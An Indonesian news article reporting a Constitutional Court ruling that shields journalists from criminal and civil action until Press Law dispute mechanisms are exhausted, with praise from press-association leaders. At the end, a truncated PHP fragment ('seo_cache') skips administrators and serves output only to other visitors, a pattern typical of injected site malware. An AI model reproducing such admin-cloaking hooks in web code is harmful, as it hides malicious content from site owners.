Nasional

Putusan MK Tutup Jalan Pidana dan Gugatan terhadap Karya Jurnalistik, Ketum PW MOI Beri Apresiasi

×

Putusan MK Tutup Jalan Pidana dan Gugatan terhadap Karya Jurnalistik, Ketum PW MOI Beri Apresiasi

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – PWMOI (Perkumpulan Wartawan Media Online Indonesia) mengapresiasi Keputusan Mahkamah Konstitusi (MK) atas perkara Nomor 145/PUU-XXIII/2025 yang diajukan Ikatan Wartawan Hukum (Iwakum) terhadap Pasal 8 UU Nomor 40 Tahun 1999 tentang Pers.

Menurut Ketum PW MOI, KRH HM. Jusuf Rizal, SH putusan ini menutup jalan pidana dan gugatan terhadap karya jurnalistik sepanjang menjalankan kerja jurnalistik secara sah dan profesional.

“Ini semakin mempertegas posisi kebebasan pers dalam sistem hukum di Indonesia terhadap Pasal 8 Undang Undang Nomor 40 Tahun 1999 tentang Pers. Wartawan tidak bisa dipidana atau digugat jika menjalankan tugas jurnalistik secara profesional,” tegasnya.

MK menyatakan, penerapan sanksi pidana dan/atau perdata terhadap wartawan hanya dapat dilakukan setelah seluruh mekanisme yang diatur dalam UU Pers ditempuh dan tidak membuahkan penyelesaian.

Mekanisme tersebut meliputi hak jawab, hak koreksi, serta penilaian dugaan pelanggaran kode etik jurnalistik oleh Dewan Pers, sebagai bagian dari pendekatan keadilan restoratif.

Keputusan ini telah dibacakan pada Senin (19/1/2026) di Gedung Mahkamah Konstitusi, dimana MK mengabulkan sebagian permohonan uji materiil yang diajukan Iwakum.

“Untuk itu jika para wartawan mau dikriminalisasi atas karya jurnalistik, harus melawan,” imbaunya.

Jusuf Rizal yang juga Relawan Prabowo LSM Lumbung Informasi Rakyat (LIRA) ini menegaskan, keputusan MK ini adalah senjata hukum. Artinya pihak manapun yang menafikan termasuk pelanggaran hukum.

Perlindungan Hukum Harus Dimaknai secara Konstitusional dan Operasional

Keputusan itu dibacakan Ketua MK Suhartoyo yang menegaskan, frasa “perlindungan hukum” dalam Pasal 8 UU Pers berpotensi bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 apabila tidak dimaknai secara konstitusional dan operasional.

“Oleh karena itu, Mahkamah memberikan tafsir bersyarat agar pasal tersebut memiliki kepastian hukum yang nyata,” terang Suhartoyo, Senin (19/01/2026) saat membacakan putusan.

Dalam pertimbangan terpisah, Hakim Konstitusi Guntur Hamzah menilai Pasal 8 UU Pers merupakan norma fundamental yang mencerminkan komitmen negara hukum demokratis terhadap kebebasan pers sebagai pilar utama kehidupan bernegara.

Namun, norma tersebut selama ini bersifat deklaratif dan belum memberikan perlindungan hukum yang konkret bagi wartawan.

Guntur menyebut, perlindungan hukum terhadap wartawan harus dipahami secara menyeluruh, mencakup seluruh tahapan kerja jurnalistik, mulai dari pencarian fakta, pengolahan dan verifikasi data, hingga publikasi kepada masyarakat.

Sepanjang seluruh rangkaian kerja jurnalistik dilakukan secara sah, berlandaskan profesionalitas, kode etik jurnalistik, serta peraturan perundang-undangan yang berlaku, wartawan tidak boleh dengan mudah diposisikan sebagai subjek hukum yang langsung dikenai sanksi pidana, gugatan perdata, ataupun tindakan intimidatif dan kekerasan.

Ia juga menegaskan, Pasal 8 UU Pers berfungsi sebagai norma pengaman agar profesi wartawan tidak terjerat kriminalisasi, gugatan pembungkaman atau strategic lawsuit against public participation (SLAPP), maupun tekanan hukum lain yang dapat menghambat kemerdekaan pers.

Sengketa yang timbul dari karya jurnalistik, kata dia, wajib terlebih dahulu diselesaikan melalui rezim hukum UU Nomor 40 Tahun 1999 tentang Pers dengan melibatkan Dewan Pers.

Instrumen pidana dan perdata tidak boleh dijadikan jalan utama, melainkan hanya sebagai upaya terbatas dan eksepsional apabila mekanisme pers tidak dijalankan atau gagal menyelesaikan persoalan.

Mahkamah juga menilai, tanpa pemaknaan konstitusional yang jelas, Pasal 8 UU Pers berpotensi membuka ruang penjeratan hukum terhadap wartawan secara langsung, tanpa terlebih dahulu menguji kepatuhan pada mekanisme penyelesaian sengketa pers sebagaimana diatur undang-undang.

Secara terpisah dari Kupang, Ketua DPW MOI Provinsi NTT, Herry Battileo, SH,.MH turut menyatakan apresiasi atas keputusan MK.

Dikatakan Herry yang berprofesi sebagai advokat tersebut, saat ini wartawan tidak lagi dengan mudah dikriminalisasi dalam penggiringan tuntutannya kepada perkara pidana maupun perdata,

“Wartawan lebih leluasa dan bebas berkarya dalam menjalankan profesi jurnalistik,” tutup Herry. ( KOP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>